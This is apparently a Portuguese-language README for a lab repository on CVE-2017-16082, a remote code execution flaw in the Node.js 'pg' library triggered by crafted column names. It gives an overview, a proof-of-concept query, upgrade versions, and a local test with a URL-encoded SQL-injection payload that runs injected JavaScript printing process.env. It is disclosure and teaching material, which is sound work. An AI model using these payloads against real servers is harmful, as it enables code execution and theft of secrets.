CVE-2017-16082

CVE-2017-16082

Visão geral

As versões afetadas de pg contêm uma vulnerabilidade de execução remota de código que ocorre quando o banco de dados remoto ou a consulta especifica um nome de coluna malicioso.

Existem dois cenários específicos nos quais é provável que uma aplicação seja vulnerável:

1. A aplicação executa SQL inseguro fornecido pelo usuário que contém nomes de coluna maliciosos.
2. A aplicação se conecta a um banco de dados não confiável e executa uma consulta que retorna resultados contendo um nome de coluna malicioso.

Prova de conceito

const { Client } = require('pg')
const client = new Client()
client.connect()

const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`

client.query(sql, (err, res) => {
  client.end()
})

Correção

• Versão 2.x.x: Atualize para a versão 2.11.2 ou posterior.
• Versão 3.x.x: Atualize para a versão 3.6.4 ou posterior.
• Versão 4.x.x: Atualize para a versão 4.5.7 ou posterior.
• Versão 5.x.x: Atualize para a versão 5.2.1 ou posterior.
• Versão 6.x.x: Atualize para a versão 6.4.2 ou posterior. (Observe que as versões 6.1.6, 6.2.5 e 6.3.3 também estão corrigidas.)
• Versão 7.x.x: Atualize para a versão 7.1.2 ou posterior. (Observe que a versão 7.0.2 também está corrigida.)

Teste local 💣

git clone https://github.com/nulldreams/CVE-2017-16082.git

cd CVE-2017-16082

npm i && node server.js

Envie uma requisição para localhost:5000/api/v1/users?id=1 Resultado

[
    {
        "id": 1,
        "username": "wubba",
        "password": "123",
        "createdAt": "2018-11-27T09:19:54.000Z",
        "updatedAt": "2018-11-27T09:19:54.000Z"
    }
]

Agora, envie uma requisição usando um payload como este 1;SELECT 1 AS "\']=0;console.log(process.env)//" e codifique no url encoder

URL final: localhost:5000/api/v1/users?id=1%3BSELECT%201%20AS%20%22%5C%27%5D%3D0%3Bconsole.log(process.env)%2F%2F%22

[
    {
        "id": 1,
        "username": "wubba",
        "password": "123",
        "createdAt": "2018-11-27T09:19:54.000Z",
        "updatedAt": "2018-11-27T09:19:54.000Z"
    },
    {
        "\\": 0
    }
]

Verifique o terminal do servidor.